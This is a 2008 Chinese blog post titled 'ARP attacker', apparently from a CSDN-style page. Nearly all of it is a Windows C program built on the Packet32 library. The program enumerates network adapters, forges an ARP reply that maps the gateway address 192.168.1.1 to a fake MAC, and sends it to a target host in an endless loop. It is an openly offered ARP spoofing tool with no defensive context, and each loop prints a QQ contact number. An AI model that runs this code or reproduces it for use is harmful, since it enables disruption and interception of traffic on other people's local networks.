arp攻击器

arp攻击器
2008-10-23 17:53


#include <winsock2.h>
#include <stdio.h>
#include <Iphlpapi.h>
#include "packet32.h"


#pragma comment(lib, "packet.lib") 
#pragma comment(lib, "WS2_32.lib")
#pragma comment(lib, "Iphlpapi.lib")

typedef struct tagAdapterInfo
{
char szDeviceName[128];              // 名字
char szIPAddrStr[16];                  // IP
char szHWAddrStr[18];                // MAC
DWORD dwIndex;                     // 编号          
bool filled;//是否取得了网卡信息
}INFO_ADAPTER, *PINFO_ADAPTER;


typedef struct _et_header    //以太网头部
{
    unsigned char   eh_dst[6]; //真实的MAC地址
    unsigned char   eh_src[6]; //虚拟的MAC地址
    unsigned short eh_type;    //arp报文类型 0x0806
}ET_HEADER;

#pragma pack(1)
typedef struct _arp_header   //ARP头部
{
    unsigned short arp_hdr; //硬件地址类型 以太网 0x0001
    unsigned short arp_pro; //上层协议地址类型   IP协议 0x0800
    unsigned char   arp_hln; //MAC地址长度 0x06
    unsigned char   arp_pln; //IP地质长度 0x04
    unsigned short arp_opt; //操作码 0x0001 请求 0x0002 应答
    unsigned char   arp_sha[6]; //发送方 MAC
    unsigned long   arp_spa;    //发送方 IP
    unsigned char   arp_tha[6]; //接收方 MAC
    unsigned long   arp_tpa;    //接收方 IP
}ARP_HEADER; 
#pragma pack()


//入口参数:指向INFO_ADAPTER结构数组的指针(数组大小依本机网卡数量而定)

//返回值:

//-1函数执行失败非零为本机网卡的数量


int GetLocalAdapterList(PINFO_ADAPTER infoAdapterList)
{

   ULONG     dwSize=0;
   PIP_ADAPTER_INFO pAdapter=NULL;           // 定义PIP_ADAPTER_INFO结构存储网卡信息
   int      nAdapterIndex = 0;
   char strTemp[128];

   //获得网卡列表信息串长度
   DWORD dwRet = GetAdaptersInfo(pAdapter, &dwSize);

   if (dwRet != ERROR_BUFFER_OVERFLOW)
{
   printf("不能获得网卡信息结构大小!");
   return -1;
   }

    pAdapter = (PIP_ADAPTER_INFO)new(char[dwSize]);
    dwRet = GetAdaptersInfo(pAdapter, &dwSize);
   if (dwRet != ERROR_SUCCESS)
   {
   printf("获得网卡信息失败!");
   delete pAdapter;
   return -1;
}
   //枚举获得获得网卡信息
   while (pAdapter)      
{
   // 网卡名字
   lstrcpy(strTemp, "\\Device\\NPF_");                     
    lstrcat(strTemp,pAdapter->AdapterName); //构造网卡名字              
   lstrcpy(infoAdapterList[nAdapterIndex].szDeviceName,strTemp);
   // IP
   lstrcpy(infoAdapterList[nAdapterIndex].szIPAddrStr,pAdapter->IpAddressList.IpAddress.String);
   // MAC
   sprintf(infoAdapterList[nAdapterIndex].szHWAddrStr, "%02x%02x%02x%02x%02x%02x", \
   pAdapter->Address[0],pAdapter->Address[1],pAdapter->Address[2], \
   pAdapter->Address[3],pAdapter->Address[4],pAdapter->Address[5]);
   // 网卡编号
   infoAdapterList[nAdapterIndex].dwIndex = pAdapter->Index;          
   pAdapter = pAdapter->Next;
   nAdapterIndex ++;
   }
   delete pAdapter;
   return nAdapterIndex;
}

void StrToMac(char *str,unsigned char *mac)
{
char *str1;
int i;
int low,high;
char temp;
for(i=0;i<6;i++)
{
   str1=str+1;
   switch(*str)
   {
   case 'a' : high=10;break;
   case 'b': high=11;break;
   case 'c': high=12;break;
   case 'd': high=13;break;
   case 'e': high=14;break;
   case 'f': high=15;break;
   default: temp=*str;
    high=atoi(&temp);
   }
   switch(*str1)
   {
   case 'a' : low=10;break;
   case 'b': low=11;break;
   case 'c': low=12;break;
   case 'd': low=13;break;
   case 'e': low=14;break;
   case 'f': low=15;break;
   default:temp=*str1;
    low=atoi(&temp);
   }
   mac[i]=high*16+low;
   str+=2;
}
}


int main()
{

    INFO_ADAPTER infoAdapterList[10];
    int adaptercout = GetLocalAdapterList(infoAdapterList);
    printf("本机器有%d块网卡\n\n",adaptercout);
    for(int i=0;i<adaptercout;i++)
    printf("%d: %s: %s\n\n",i+1,infoAdapterList[i].szIPAddrStr,infoAdapterList[i].szDeviceName);
    LPADAPTER lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)infoAdapterList[0].szDeviceName);
if(!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
{
   printf("acketOepnAdapter Error!\r\n");
   return -1;
}
     
unsigned char MY_MAC[6]={0};
unsigned char HE_MAC[6]={0xaa,0xaa,0xaa,0xaa,0xaa,0xaa};
    StrToMac(infoAdapterList[0].szHWAddrStr,MY_MAC);

    
ET_HEADER et_header;
ARP_HEADER arp_header;
memcpy(et_header.eh_dst,MY_MAC,6);
memcpy(et_header.eh_src,HE_MAC,6);
    et_header.eh_type=htons(0x0806);

arp_header.arp_hdr=htons(0x0001);
arp_header.arp_pro=htons(0x0800);
    arp_header.arp_hln=0x06;
arp_header.arp_pln=0x04;
arp_header.arp_opt=htons(0x0002);

    arp_header.arp_spa=inet_addr("192.168.1.1"); 
    memcpy(arp_header.arp_sha,et_header.eh_src,6);
arp_header.arp_tpa=inet_addr("192.168.66.207"); 
    memcpy(arp_header.arp_tha,et_header.eh_dst,6); 

    char buffer[512]={0};
memcpy(buffer,&et_header,sizeof(ET_HEADER));
memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));


LPPACKET lpPacket;

lpPacket=PacketAllocatePacket(); //分配内存

PacketInitPacket(lpPacket,buffer,64);//初始化

if(PacketSetNumWrites(lpAdapter,4)==FALSE) //设置发送次数
{
   printf("设置发送次数失败!\r\n");
   return 0;
}
while(TRUE)
{
   if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE) //发送包
   {
    printf("发送失败!\r\n");
            return -1;
   }
   Sleep(2000);
   printf("\r\nQQ 549780886");
}

PacketFreePacket(lpPacket);//释放内存
PacketCloseAdapter(lpAdapter); //关闭网卡
  
return 1;
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值